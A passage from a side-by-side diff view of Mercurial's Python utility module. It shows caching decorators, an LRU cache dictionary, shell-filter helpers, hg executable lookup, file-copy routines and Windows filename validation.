548 | 560 | if func.__code__.co_argcount == 0: |
|
549 | 561 | cache = [] |
|
550 | 562 | def f(): |
|
551 | 563 | if len(cache) == 0: |
|
552 | 564 | cache.append(func()) |
|
553 | 565 | return cache[0] |
|
554 | 566 | return f |
|
555 | 567 | cache = {} |
|
556 | 568 | if func.__code__.co_argcount == 1: |
|
557 | 569 | # we gain a small amount of time because |
|
558 | 570 | # we don't need to pack/unpack the list |
|
559 | 571 | def f(arg): |
|
560 | 572 | if arg not in cache: |
|
561 | 573 | cache[arg] = func(arg) |
|
562 | 574 | return cache[arg] |
|
563 | 575 | else: |
|
564 | 576 | def f(*args): |
|
565 | 577 | if args not in cache: |
|
566 | 578 | cache[args] = func(*args) |
|
567 | 579 | return cache[args] |
|
568 | 580 | |
|
569 | 581 | return f |
|
570 | 582 | |
|
571 | 583 | class sortdict(collections.OrderedDict): |
|
572 | 584 | '''a simple sorted dictionary |
|
573 | 585 | |
|
574 | 586 | >>> d1 = sortdict([('a', 0), ('b', 1)]) |
|
575 | 587 | >>> d2 = d1.copy() |
|
576 | 588 | >>> d2 |
|
577 | 589 | sortdict([('a', 0), ('b', 1)]) |
|
578 | 590 | >>> d2.update([('a', 2)]) |
|
579 | 591 | >>> d2.keys() # should still be in last-set order |
|
580 | 592 | ['b', 'a'] |
|
581 | 593 | ''' |
|
582 | 594 | |
|
583 | 595 | def __setitem__(self, key, value): |
|
584 | 596 | if key in self: |
|
585 | 597 | del self[key] |
|
586 | 598 | super(sortdict, self).__setitem__(key, value) |
|
587 | 599 | |
|
588 | 600 | if pycompat.ispypy: |
|
589 | 601 | # __setitem__() isn't called as of PyPy 5.8.0 |
|
590 | 602 | def update(self, src): |
|
591 | 603 | if isinstance(src, dict): |
|
592 | 604 | src = src.iteritems() |
|
593 | 605 | for k, v in src: |
|
594 | 606 | self[k] = v |
|
595 | 607 | |
|
596 | 608 | class transactional(object): |
|
597 | 609 | """Base class for making a transactional type into a context manager.""" |
|
598 | 610 | __metaclass__ = abc.ABCMeta |
|
599 | 611 | |
|
600 | 612 | @abc.abstractmethod |
|
601 | 613 | def close(self): |
|
602 | 614 | """Successfully closes the transaction.""" |
|
603 | 615 | |
|
604 | 616 | @abc.abstractmethod |
|
605 | 617 | def release(self): |
|
606 | 618 | """Marks the end of the transaction. |
|
607 | 619 | |
|
608 | 620 | If the transaction has not been closed, it will be aborted. |
|
609 | 621 | """ |
|
610 | 622 | |
|
611 | 623 | def __enter__(self): |
|
612 | 624 | return self |
|
613 | 625 | |
|
614 | 626 | def __exit__(self, exc_type, exc_val, exc_tb): |
|
615 | 627 | try: |
|
616 | 628 | if exc_type is None: |
|
617 | 629 | self.close() |
|
618 | 630 | finally: |
|
619 | 631 | self.release() |
|
620 | 632 | |
|
621 | 633 | @contextlib.contextmanager |
|
622 | 634 | def acceptintervention(tr=None): |
|
623 | 635 | """A context manager that closes the transaction on InterventionRequired |
|
624 | 636 | |
|
625 | 637 | If no transaction was provided, this simply runs the body and returns |
|
626 | 638 | """ |
|
627 | 639 | if not tr: |
|
628 | 640 | yield |
|
629 | 641 | return |
|
630 | 642 | try: |
|
631 | 643 | yield |
|
632 | 644 | tr.close() |
|
633 | 645 | except error.InterventionRequired: |
|
634 | 646 | tr.close() |
|
635 | 647 | raise |
|
636 | 648 | finally: |
|
637 | 649 | tr.release() |
|
638 | 650 | |
|
639 | 651 | @contextlib.contextmanager |
|
640 | 652 | def nullcontextmanager(): |
|
641 | 653 | yield |
|
642 | 654 | |
|
643 | 655 | class _lrucachenode(object): |
|
644 | 656 | """A node in a doubly linked list. |
|
645 | 657 | |
|
646 | 658 | Holds a reference to nodes on either side as well as a key-value |
|
647 | 659 | pair for the dictionary entry. |
|
648 | 660 | """ |
|
649 | 661 | __slots__ = (u'next', u'prev', u'key', u'value') |
|
650 | 662 | |
|
651 | 663 | def __init__(self): |
|
652 | 664 | self.next = None |
|
653 | 665 | self.prev = None |
|
654 | 666 | |
|
655 | 667 | self.key = _notset |
|
656 | 668 | self.value = None |
|
657 | 669 | |
|
658 | 670 | def markempty(self): |
|
659 | 671 | """Mark the node as emptied.""" |
|
660 | 672 | self.key = _notset |
|
661 | 673 | |
|
662 | 674 | class lrucachedict(object): |
|
663 | 675 | """Dict that caches most recent accesses and sets. |
|
664 | 676 | |
|
665 | 677 | The dict consists of an actual backing dict - indexed by original |
|
666 | 678 | key - and a doubly linked circular list defining the order of entries in |
|
667 | 679 | the cache. |
|
668 | 680 | |
|
669 | 681 | The head node is the newest entry in the cache. If the cache is full, |
|
670 | 682 | we recycle head.prev and make it the new head. Cache accesses result in |
|
671 | 683 | the node being moved to before the existing head and being marked as the |
|
672 | 684 | new head node. |
|
673 | 685 | """ |
|
674 | 686 | def __init__(self, max): |
|
675 | 687 | self._cache = {} |
|
676 | 688 | |
|
677 | 689 | self._head = head = _lrucachenode() |
|
678 | 690 | head.prev = head |
|
679 | 691 | head.next = head |
|
680 | 692 | self._size = 1 |
|
681 | 693 | self._capacity = max |
|
682 | 694 | |
|
683 | 695 | def __len__(self): |
|
684 | 696 | return len(self._cache) |
|
685 | 697 | |
|
686 | 698 | def __contains__(self, k): |
|
687 | 699 | return k in self._cache |
|
688 | 700 | |
|
689 | 701 | def __iter__(self): |
|
690 | 702 | # We don't have to iterate in cache order, but why not. |
|
691 | 703 | n = self._head |
|
692 | 704 | for i in range(len(self._cache)): |
|
693 | 705 | yield n.key |
|
694 | 706 | n = n.next |
|
695 | 707 | |
|
696 | 708 | def __getitem__(self, k): |
|
697 | 709 | node = self._cache[k] |
|
698 | 710 | self._movetohead(node) |
|
699 | 711 | return node.value |
|
700 | 712 | |
|
701 | 713 | def __setitem__(self, k, v): |
|
702 | 714 | node = self._cache.get(k) |
|
703 | 715 | # Replace existing value and mark as newest. |
|
704 | 716 | if node is not None: |
|
705 | 717 | node.value = v |
|
706 | 718 | self._movetohead(node) |
|
707 | 719 | return |
|
708 | 720 | |
|
709 | 721 | if self._size < self._capacity: |
|
710 | 722 | node = self._addcapacity() |
|
711 | 723 | else: |
|
712 | 724 | # Grab the last/oldest item. |
|
713 | 725 | node = self._head.prev |
|
714 | 726 | |
|
715 | 727 | # At capacity. Kill the old entry. |
|
716 | 728 | if node.key is not _notset: |
|
717 | 729 | del self._cache[node.key] |
|
718 | 730 | |
|
719 | 731 | node.key = k |
|
720 | 732 | node.value = v |
|
721 | 733 | self._cache[k] = node |
|
722 | 734 | # And mark it as newest entry. No need to adjust order since it |
|
723 | 735 | # is already self._head.prev. |
|
724 | 736 | self._head = node |
|
725 | 737 | |
|
726 | 738 | def __delitem__(self, k): |
|
727 | 739 | node = self._cache.pop(k) |
|
728 | 740 | node.markempty() |
|
729 | 741 | |
|
730 | 742 | # Temporarily mark as newest item before re-adjusting head to make |
|
731 | 743 | # this node the oldest item. |
|
732 | 744 | self._movetohead(node) |
|
733 | 745 | self._head = node.next |
|
734 | 746 | |
|
735 | 747 | # Additional dict methods. |
|
736 | 748 | |
|
737 | 749 | def get(self, k, default=None): |
|
738 | 750 | try: |
|
739 | 751 | return self._cache[k].value |
|
740 | 752 | except KeyError: |
|
741 | 753 | return default |
|
742 | 754 | |
|
743 | 755 | def clear(self): |
|
744 | 756 | n = self._head |
|
745 | 757 | while n.key is not _notset: |
|
746 | 758 | n.markempty() |
|
747 | 759 | n = n.next |
|
748 | 760 | |
|
749 | 761 | self._cache.clear() |
|
750 | 762 | |
|
751 | 763 | def copy(self): |
|
752 | 764 | result = lrucachedict(self._capacity) |
|
753 | 765 | n = self._head.prev |
|
754 | 766 | # Iterate in oldest-to-newest order, so the copy has the right ordering |
|
755 | 767 | for i in range(len(self._cache)): |
|
756 | 768 | result[n.key] = n.value |
|
757 | 769 | n = n.prev |
|
758 | 770 | return result |
|
759 | 771 | |
|
760 | 772 | def _movetohead(self, node): |
|
761 | 773 | """Mark a node as the newest, making it the new head. |
|
762 | 774 | |
|
763 | 775 | When a node is accessed, it becomes the freshest entry in the LRU |
|
764 | 776 | list, which is denoted by self._head. |
|
765 | 777 | |
|
766 | 778 | Visually, let's make ``N`` the new head node (* denotes head): |
|
767 | 779 | |
|
768 | 780 | previous/oldest <-> head <-> next/next newest |
|
769 | 781 | |
|
770 | 782 | ----<->--- A* ---<->----- |
|
771 | 783 | | | |
|
772 | 784 | E <-> D <-> N <-> C <-> B |
|
773 | 785 | |
|
774 | 786 | To: |
|
775 | 787 | |
|
776 | 788 | ----<->--- N* ---<->----- |
|
777 | 789 | | | |
|
778 | 790 | E <-> D <-> C <-> B <-> A |
|
779 | 791 | |
|
780 | 792 | This requires the following moves: |
|
781 | 793 | |
|
782 | 794 | C.next = D (node.prev.next = node.next) |
|
783 | 795 | D.prev = C (node.next.prev = node.prev) |
|
784 | 796 | E.next = N (head.prev.next = node) |
|
785 | 797 | N.prev = E (node.prev = head.prev) |
|
786 | 798 | N.next = A (node.next = head) |
|
787 | 799 | A.prev = N (head.prev = node) |
|
788 | 800 | """ |
|
789 | 801 | head = self._head |
|
790 | 802 | # C.next = D |
|
791 | 803 | node.prev.next = node.next |
|
792 | 804 | # D.prev = C |
|
793 | 805 | node.next.prev = node.prev |
|
794 | 806 | # N.prev = E |
|
795 | 807 | node.prev = head.prev |
|
796 | 808 | # N.next = A |
|
797 | 809 | # It is tempting to do just "head" here, however if node is |
|
798 | 810 | # adjacent to head, this will do bad things. |
|
799 | 811 | node.next = head.prev.next |
|
800 | 812 | # E.next = N |
|
801 | 813 | node.next.prev = node |
|
802 | 814 | # A.prev = N |
|
803 | 815 | node.prev.next = node |
|
804 | 816 | |
|
805 | 817 | self._head = node |
|
806 | 818 | |
|
807 | 819 | def _addcapacity(self): |
|
808 | 820 | """Add a node to the circular linked list. |
|
809 | 821 | |
|
810 | 822 | The new node is inserted before the head node. |
|
811 | 823 | """ |
|
812 | 824 | head = self._head |
|
813 | 825 | node = _lrucachenode() |
|
814 | 826 | head.prev.next = node |
|
815 | 827 | node.prev = head.prev |
|
816 | 828 | node.next = head |
|
817 | 829 | head.prev = node |
|
818 | 830 | self._size += 1 |
|
819 | 831 | return node |
|
820 | 832 | |
|
821 | 833 | def lrucachefunc(func): |
|
822 | 834 | '''cache most recent results of function calls''' |
|
823 | 835 | cache = {} |
|
824 | 836 | order = collections.deque() |
|
825 | 837 | if func.__code__.co_argcount == 1: |
|
826 | 838 | def f(arg): |
|
827 | 839 | if arg not in cache: |
|
828 | 840 | if len(cache) > 20: |
|
829 | 841 | del cache[order.popleft()] |
|
830 | 842 | cache[arg] = func(arg) |
|
831 | 843 | else: |
|
832 | 844 | order.remove(arg) |
|
833 | 845 | order.append(arg) |
|
834 | 846 | return cache[arg] |
|
835 | 847 | else: |
|
836 | 848 | def f(*args): |
|
837 | 849 | if args not in cache: |
|
838 | 850 | if len(cache) > 20: |
|
839 | 851 | del cache[order.popleft()] |
|
840 | 852 | cache[args] = func(*args) |
|
841 | 853 | else: |
|
842 | 854 | order.remove(args) |
|
843 | 855 | order.append(args) |
|
844 | 856 | return cache[args] |
|
845 | 857 | |
|
846 | 858 | return f |
|
847 | 859 | |
|
848 | 860 | class propertycache(object): |
|
849 | 861 | def __init__(self, func): |
|
850 | 862 | self.func = func |
|
851 | 863 | self.name = func.__name__ |
|
852 | 864 | def __get__(self, obj, type=None): |
|
853 | 865 | result = self.func(obj) |
|
854 | 866 | self.cachevalue(obj, result) |
|
855 | 867 | return result |
|
856 | 868 | |
|
857 | 869 | def cachevalue(self, obj, value): |
|
858 | 870 | # __dict__ assignment required to bypass __setattr__ (eg: repoview) |
|
859 | 871 | obj.__dict__[self.name] = value |
|
860 | 872 | |
|
861 | 873 | def pipefilter(s, cmd): |
|
862 | 874 | '''filter string S through command CMD, returning its output''' |
|
863 | 875 | p = subprocess.Popen(cmd, shell=True, close_fds=closefds, |
|
864 | 876 | stdin=subprocess.PIPE, stdout=subprocess.PIPE) |
|
865 | 877 | pout, perr = p.communicate(s) |
|
866 | 878 | return pout |
|
867 | 879 | |
|
868 | 880 | def tempfilter(s, cmd): |
|
869 | 881 | '''filter string S through a pair of temporary files with CMD. |
|
870 | 882 | CMD is used as a template to create the real command to be run, |
|
871 | 883 | with the strings INFILE and OUTFILE replaced by the real names of |
|
872 | 884 | the temporary files generated.''' |
|
873 | 885 | inname, outname = None, None |
|
874 | 886 | try: |
|
875 | 887 | infd, inname = tempfile.mkstemp(prefix='hg-filter-in-') |
|
876 | 888 | fp = os.fdopen(infd, pycompat.sysstr('wb')) |
|
877 | 889 | fp.write(s) |
|
878 | 890 | fp.close() |
|
879 | 891 | outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-') |
|
880 | 892 | os.close(outfd) |
|
881 | 893 | cmd = cmd.replace('INFILE', inname) |
|
882 | 894 | cmd = cmd.replace('OUTFILE', outname) |
|
883 | 895 | code = os.system(cmd) |
|
884 | 896 | if pycompat.sysplatform == 'OpenVMS' and code & 1: |
|
885 | 897 | code = 0 |
|
886 | 898 | if code: |
|
887 | 899 | raise Abort(_("command '%s' failed: %s") % |
|
888 | 900 | (cmd, explainexit(code))) |
|
889 | 901 | return readfile(outname) |
|
890 | 902 | finally: |
|
891 | 903 | try: |
|
892 | 904 | if inname: |
|
893 | 905 | os.unlink(inname) |
|
894 | 906 | except OSError: |
|
895 | 907 | pass |
|
896 | 908 | try: |
|
897 | 909 | if outname: |
|
898 | 910 | os.unlink(outname) |
|
899 | 911 | except OSError: |
|
900 | 912 | pass |
|
901 | 913 | |
|
902 | 914 | filtertable = { |
|
903 | 915 | 'tempfile:': tempfilter, |
|
904 | 916 | 'pipe:': pipefilter, |
|
905 | 917 | } |
|
906 | 918 | |
|
907 | 919 | def filter(s, cmd): |
|
908 | 920 | "filter a string through a command that transforms its input to its output" |
|
909 | 921 | for name, fn in filtertable.iteritems(): |
|
910 | 922 | if cmd.startswith(name): |
|
911 | 923 | return fn(s, cmd[len(name):].lstrip()) |
|
912 | 924 | return pipefilter(s, cmd) |
|
913 | 925 | |
|
914 | 926 | def binary(s): |
|
915 | 927 | """return true if a string is binary data""" |
|
916 | 928 | return bool(s and '\0' in s) |
|
917 | 929 | |
|
918 | 930 | def increasingchunks(source, min=1024, max=65536): |
|
919 | 931 | '''return no less than min bytes per chunk while data remains, |
|
920 | 932 | doubling min after each chunk until it reaches max''' |
|
921 | 933 | def log2(x): |
|
922 | 934 | if not x: |
|
923 | 935 | return 0 |
|
924 | 936 | i = 0 |
|
925 | 937 | while x: |
|
926 | 938 | x >>= 1 |
|
927 | 939 | i += 1 |
|
928 | 940 | return i - 1 |
|
929 | 941 | |
|
930 | 942 | buf = [] |
|
931 | 943 | blen = 0 |
|
932 | 944 | for chunk in source: |
|
933 | 945 | buf.append(chunk) |
|
934 | 946 | blen += len(chunk) |
|
935 | 947 | if blen >= min: |
|
936 | 948 | if min < max: |
|
937 | 949 | min = min << 1 |
|
938 | 950 | nmin = 1 << log2(blen) |
|
939 | 951 | if nmin > min: |
|
940 | 952 | min = nmin |
|
941 | 953 | if min > max: |
|
942 | 954 | min = max |
|
943 | 955 | yield ''.join(buf) |
|
944 | 956 | blen = 0 |
|
945 | 957 | buf = [] |
|
946 | 958 | if buf: |
|
947 | 959 | yield ''.join(buf) |
|
948 | 960 | |
|
949 | 961 | Abort = error.Abort |
|
950 | 962 | |
|
951 | 963 | def always(fn): |
|
952 | 964 | return True |
|
953 | 965 | |
|
954 | 966 | def never(fn): |
|
955 | 967 | return False |
|
956 | 968 | |
|
957 | 969 | def nogc(func): |
|
958 | 970 | """disable garbage collector |
|
959 | 971 | |
|
960 | 972 | Python's garbage collector triggers a GC each time a certain number of |
|
961 | 973 | container objects (the number being defined by gc.get_threshold()) are |
|
962 | 974 | allocated even when marked not to be tracked by the collector. Tracking has |
|
963 | 975 | no effect on when GCs are triggered, only on what objects the GC looks |
|
964 | 976 | into. As a workaround, disable GC while building complex (huge) |
|
965 | 977 | containers. |
|
966 | 978 | |
|
967 | 979 | This garbage collector issue have been fixed in 2.7. But it still affect |
|
968 | 980 | CPython's performance. |
|
969 | 981 | """ |
|
970 | 982 | def wrapper(*args, **kwargs): |
|
971 | 983 | gcenabled = gc.isenabled() |
|
972 | 984 | gc.disable() |
|
973 | 985 | try: |
|
974 | 986 | return func(*args, **kwargs) |
|
975 | 987 | finally: |
|
976 | 988 | if gcenabled: |
|
977 | 989 | gc.enable() |
|
978 | 990 | return wrapper |
|
979 | 991 | |
|
980 | 992 | if pycompat.ispypy: |
|
981 | 993 | # PyPy runs slower with gc disabled |
|
982 | 994 | nogc = lambda x: x |
|
983 | 995 | |
|
984 | 996 | def pathto(root, n1, n2): |
|
985 | 997 | '''return the relative path from one place to another. |
|
986 | 998 | root should use os.sep to separate directories |
|
987 | 999 | n1 should use os.sep to separate directories |
|
988 | 1000 | n2 should use "/" to separate directories |
|
989 | 1001 | returns an os.sep-separated path. |
|
990 | 1002 | |
|
991 | 1003 | If n1 is a relative path, it's assumed it's |
|
992 | 1004 | relative to root. |
|
993 | 1005 | n2 should always be relative to root. |
|
994 | 1006 | ''' |
|
995 | 1007 | if not n1: |
|
996 | 1008 | return localpath(n2) |
|
997 | 1009 | if os.path.isabs(n1): |
|
998 | 1010 | if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]: |
|
999 | 1011 | return os.path.join(root, localpath(n2)) |
|
1000 | 1012 | n2 = '/'.join((pconvert(root), n2)) |
|
1001 | 1013 | a, b = splitpath(n1), n2.split('/') |
|
1002 | 1014 | a.reverse() |
|
1003 | 1015 | b.reverse() |
|
1004 | 1016 | while a and b and a[-1] == b[-1]: |
|
1005 | 1017 | a.pop() |
|
1006 | 1018 | b.pop() |
|
1007 | 1019 | b.reverse() |
|
1008 | 1020 | return pycompat.ossep.join((['..'] * len(a)) + b) or '.' |
|
1009 | 1021 | |
|
1010 | 1022 | def mainfrozen(): |
|
1011 | 1023 | """return True if we are a frozen executable. |
|
1012 | 1024 | |
|
1013 | 1025 | The code supports py2exe (most common, Windows only) and tools/freeze |
|
1014 | 1026 | (portable, not much used). |
|
1015 | 1027 | """ |
|
1016 | 1028 | return (safehasattr(sys, "frozen") or # new py2exe |
|
1017 | 1029 | safehasattr(sys, "importers") or # old py2exe |
|
1018 | 1030 | imp.is_frozen(u"__main__")) # tools/freeze |
|
1019 | 1031 | |
|
1020 | 1032 | # the location of data files matching the source code |
|
1021 | 1033 | if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app': |
|
1022 | 1034 | # executable version (py2exe) doesn't support __file__ |
|
1023 | 1035 | datapath = os.path.dirname(pycompat.sysexecutable) |
|
1024 | 1036 | else: |
|
1025 | 1037 | datapath = os.path.dirname(pycompat.fsencode(__file__)) |
|
1026 | 1038 | |
|
1027 | 1039 | i18n.setdatapath(datapath) |
|
1028 | 1040 | |
|
1029 | 1041 | _hgexecutable = None |
|
1030 | 1042 | |
|
1031 | 1043 | def hgexecutable(): |
|
1032 | 1044 | """return location of the 'hg' executable. |
|
1033 | 1045 | |
|
1034 | 1046 | Defaults to $HG or 'hg' in the search path. |
|
1035 | 1047 | """ |
|
1036 | 1048 | if _hgexecutable is None: |
|
1037 | 1049 | hg = encoding.environ.get('HG') |
|
1038 | 1050 | mainmod = sys.modules[pycompat.sysstr('__main__')] |
|
1039 | 1051 | if hg: |
|
1040 | 1052 | _sethgexecutable(hg) |
|
1041 | 1053 | elif mainfrozen(): |
|
1042 | 1054 | if getattr(sys, 'frozen', None) == 'macosx_app': |
|
1043 | 1055 | # Env variable set by py2app |
|
1044 | 1056 | _sethgexecutable(encoding.environ['EXECUTABLEPATH']) |
|
1045 | 1057 | else: |
|
1046 | 1058 | _sethgexecutable(pycompat.sysexecutable) |
|
1047 | 1059 | elif (os.path.basename( |
|
1048 | 1060 | pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'): |
|
1049 | 1061 | _sethgexecutable(pycompat.fsencode(mainmod.__file__)) |
|
1050 | 1062 | else: |
|
1051 | 1063 | exe = findexe('hg') or os.path.basename(sys.argv[0]) |
|
1052 | 1064 | _sethgexecutable(exe) |
|
1053 | 1065 | return _hgexecutable |
|
1054 | 1066 | |
|
1055 | 1067 | def _sethgexecutable(path): |
|
1056 | 1068 | """set location of the 'hg' executable""" |
|
1057 | 1069 | global _hgexecutable |
|
1058 | 1070 | _hgexecutable = path |
|
1059 | 1071 | |
|
1060 | 1072 | def _isstdout(f): |
|
1061 | 1073 | fileno = getattr(f, 'fileno', None) |
|
1062 | 1074 | return fileno and fileno() == sys.__stdout__.fileno() |
|
1063 | 1075 | |
|
1064 | 1076 | def shellenviron(environ=None): |
|
1065 | 1077 | """return environ with optional override, useful for shelling out""" |
|
1066 | 1078 | def py2shell(val): |
|
1067 | 1079 | 'convert python object into string that is useful to shell' |
|
1068 | 1080 | if val is None or val is False: |
|
1069 | 1081 | return '0' |
|
1070 | 1082 | if val is True: |
|
1071 | 1083 | return '1' |
|
1072 | 1084 | return str(val) |
|
1073 | 1085 | env = dict(encoding.environ) |
|
1074 | 1086 | if environ: |
|
1075 | 1087 | env.update((k, py2shell(v)) for k, v in environ.iteritems()) |
|
1076 | 1088 | env['HG'] = hgexecutable() |
|
1077 | 1089 | return env |
|
1078 | 1090 | |
|
1079 | 1091 | def system(cmd, environ=None, cwd=None, out=None): |
|
1080 | 1092 | '''enhanced shell command execution. |
|
1081 | 1093 | run with environment maybe modified, maybe in different dir. |
|
1082 | 1094 | |
|
1083 | 1095 | if out is specified, it is assumed to be a file-like object that has a |
|
1084 | 1096 | write() method. stdout and stderr will be redirected to out.''' |
|
1085 | 1097 | try: |
|
1086 | 1098 | stdout.flush() |
|
1087 | 1099 | except Exception: |
|
1088 | 1100 | pass |
|
1089 | 1101 | cmd = quotecommand(cmd) |
|
1090 | 1102 | env = shellenviron(environ) |
|
1091 | 1103 | if out is None or _isstdout(out): |
|
1092 | 1104 | rc = subprocess.call(cmd, shell=True, close_fds=closefds, |
|
1093 | 1105 | env=env, cwd=cwd) |
|
1094 | 1106 | else: |
|
1095 | 1107 | proc = subprocess.Popen(cmd, shell=True, close_fds=closefds, |
|
1096 | 1108 | env=env, cwd=cwd, stdout=subprocess.PIPE, |
|
1097 | 1109 | stderr=subprocess.STDOUT) |
|
1098 | 1110 | for line in iter(proc.stdout.readline, ''): |
|
1099 | 1111 | out.write(line) |
|
1100 | 1112 | proc.wait() |
|
1101 | 1113 | rc = proc.returncode |
|
1102 | 1114 | if pycompat.sysplatform == 'OpenVMS' and rc & 1: |
|
1103 | 1115 | rc = 0 |
|
1104 | 1116 | return rc |
|
1105 | 1117 | |
|
1106 | 1118 | def checksignature(func): |
|
1107 | 1119 | '''wrap a function with code to check for calling errors''' |
|
1108 | 1120 | def check(*args, **kwargs): |
|
1109 | 1121 | try: |
|
1110 | 1122 | return func(*args, **kwargs) |
|
1111 | 1123 | except TypeError: |
|
1112 | 1124 | if len(traceback.extract_tb(sys.exc_info()[2])) == 1: |
|
1113 | 1125 | raise error.SignatureError |
|
1114 | 1126 | raise |
|
1115 | 1127 | |
|
1116 | 1128 | return check |
|
1117 | 1129 | |
|
1118 | 1130 | # a whilelist of known filesystems where hardlink works reliably |
|
1119 | 1131 | _hardlinkfswhitelist = { |
|
1120 | 1132 | 'btrfs', |
|
1121 | 1133 | 'ext2', |
|
1122 | 1134 | 'ext3', |
|
1123 | 1135 | 'ext4', |
|
1124 | 1136 | 'hfs', |
|
1125 | 1137 | 'jfs', |
|
1126 | 1138 | 'reiserfs', |
|
1127 | 1139 | 'tmpfs', |
|
1128 | 1140 | 'ufs', |
|
1129 | 1141 | 'xfs', |
|
1130 | 1142 | 'zfs', |
|
1131 | 1143 | } |
|
1132 | 1144 | |
|
1133 | 1145 | def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False): |
|
1134 | 1146 | '''copy a file, preserving mode and optionally other stat info like |
|
1135 | 1147 | atime/mtime |
|
1136 | 1148 | |
|
1137 | 1149 | checkambig argument is used with filestat, and is useful only if |
|
1138 | 1150 | destination file is guarded by any lock (e.g. repo.lock or |
|
1139 | 1151 | repo.wlock). |
|
1140 | 1152 | |
|
1141 | 1153 | copystat and checkambig should be exclusive. |
|
1142 | 1154 | ''' |
|
1143 | 1155 | assert not (copystat and checkambig) |
|
1144 | 1156 | oldstat = None |
|
1145 | 1157 | if os.path.lexists(dest): |
|
1146 | 1158 | if checkambig: |
|
1147 | 1159 | oldstat = checkambig and filestat.frompath(dest) |
|
1148 | 1160 | unlink(dest) |
|
1149 | 1161 | if hardlink: |
|
1150 | 1162 | # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks |
|
1151 | 1163 | # unless we are confident that dest is on a whitelisted filesystem. |
|
1152 | 1164 | try: |
|
1153 | 1165 | fstype = getfstype(os.path.dirname(dest)) |
|
1154 | 1166 | except OSError: |
|
1155 | 1167 | fstype = None |
|
1156 | 1168 | if fstype not in _hardlinkfswhitelist: |
|
1157 | 1169 | hardlink = False |
|
1158 | 1170 | if hardlink: |
|
1159 | 1171 | try: |
|
1160 | 1172 | oslink(src, dest) |
|
1161 | 1173 | return |
|
1162 | 1174 | except (IOError, OSError): |
|
1163 | 1175 | pass # fall back to normal copy |
|
1164 | 1176 | if os.path.islink(src): |
|
1165 | 1177 | os.symlink(os.readlink(src), dest) |
|
1166 | 1178 | # copytime is ignored for symlinks, but in general copytime isn't needed |
|
1167 | 1179 | # for them anyway |
|
1168 | 1180 | else: |
|
1169 | 1181 | try: |
|
1170 | 1182 | shutil.copyfile(src, dest) |
|
1171 | 1183 | if copystat: |
|
1172 | 1184 | # copystat also copies mode |
|
1173 | 1185 | shutil.copystat(src, dest) |
|
1174 | 1186 | else: |
|
1175 | 1187 | shutil.copymode(src, dest) |
|
1176 | 1188 | if oldstat and oldstat.stat: |
|
1177 | 1189 | newstat = filestat.frompath(dest) |
|
1178 | 1190 | if newstat.isambig(oldstat): |
|
1179 | 1191 | # stat of copied file is ambiguous to original one |
|
1180 | 1192 | advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff |
|
1181 | 1193 | os.utime(dest, (advanced, advanced)) |
|
1182 | 1194 | except shutil.Error as inst: |
|
1183 | 1195 | raise Abort(str(inst)) |
|
1184 | 1196 | |
|
1185 | 1197 | def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None): |
|
1186 | 1198 | """Copy a directory tree using hardlinks if possible.""" |
|
1187 | 1199 | num = 0 |
|
1188 | 1200 | |
|
1189 | 1201 | gettopic = lambda: hardlink and _('linking') or _('copying') |
|
1190 | 1202 | |
|
1191 | 1203 | if os.path.isdir(src): |
|
1192 | 1204 | if hardlink is None: |
|
1193 | 1205 | hardlink = (os.stat(src).st_dev == |
|
1194 | 1206 | os.stat(os.path.dirname(dst)).st_dev) |
|
1195 | 1207 | topic = gettopic() |
|
1196 | 1208 | os.mkdir(dst) |
|
1197 | 1209 | for name, kind in listdir(src): |
|
1198 | 1210 | srcname = os.path.join(src, name) |
|
1199 | 1211 | dstname = os.path.join(dst, name) |
|
1200 | 1212 | def nprog(t, pos): |
|
1201 | 1213 | if pos is not None: |
|
1202 | 1214 | return progress(t, pos + num) |
|
1203 | 1215 | hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog) |
|
1204 | 1216 | num += n |
|
1205 | 1217 | else: |
|
1206 | 1218 | if hardlink is None: |
|
1207 | 1219 | hardlink = (os.stat(os.path.dirname(src)).st_dev == |
|
1208 | 1220 | os.stat(os.path.dirname(dst)).st_dev) |
|
1209 | 1221 | topic = gettopic() |
|
1210 | 1222 | |
|
1211 | 1223 | if hardlink: |
|
1212 | 1224 | try: |
|
1213 | 1225 | oslink(src, dst) |
|
1214 | 1226 | except (IOError, OSError): |
|
1215 | 1227 | hardlink = False |
|
1216 | 1228 | shutil.copy(src, dst) |
|
1217 | 1229 | else: |
|
1218 | 1230 | shutil.copy(src, dst) |
|
1219 | 1231 | num += 1 |
|
1220 | 1232 | progress(topic, num) |
|
1221 | 1233 | progress(topic, None) |
|
1222 | 1234 | |
|
1223 | 1235 | return hardlink, num |
|
1224 | 1236 | |
|
1225 | 1237 | _winreservednames = b'''con prn aux nul |
|
1226 | 1238 | com1 com2 com3 com4 com5 com6 com7 com8 com9 |
|
1227 | 1239 | lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split() |
|
1228 | 1240 | _winreservedchars = ':*?"<>|' |
|
1229 | 1241 | def checkwinfilename(path): |
|
1230 | 1242 | r'''Check that the base-relative path is a valid filename on Windows. |
|
1231 | 1243 | Returns None if the path is ok, or a UI string describing the problem. |
|
1232 | 1244 | |
|
1233 | 1245 | >>> checkwinfilename("just/a/normal/path") |
|
1234 | 1246 | >>> checkwinfilename("foo/bar/con.xml") |
|
1235 | 1247 | "filename contains 'con', which is reserved on Windows" |
|
1236 | 1248 | >>> checkwinfilename("foo/con.xml/bar") |
|
1237 | 1249 | "filename contains 'con', which is reserved on Windows" |
|
1238 | 1250 | >>> checkwinfilename("foo/bar/xml.con") |
|
1239 | 1251 | >>> checkwinfilename("foo/bar/AUX/bla.txt") |
|
1240 | 1252 | "filename contains 'AUX', which is reserved on Windows" |
|
1241 | 1253 | >>> checkwinfilename("foo/bar/bla:.txt") |
|
1242 | 1254 | "filename contains ':', which is reserved on Windows" |
|
1243 | 1255 | >>> checkwinfilename("foo/bar/b\07la.txt") |
|
1244 | 1256 | "filename contains '\\x07', which is invalid on Windows" |
|
1245 | 1257 | >>> checkwinfilename("foo/bar/bla ") |
|
1246 | 1258 | "filename ends with ' ', which is not allowed on Windows" |
|
1247 | 1259 | >>> checkwinfilename("../bar") |
|
1248 | 1260 | >>> checkwinfilename("foo\\") |
|
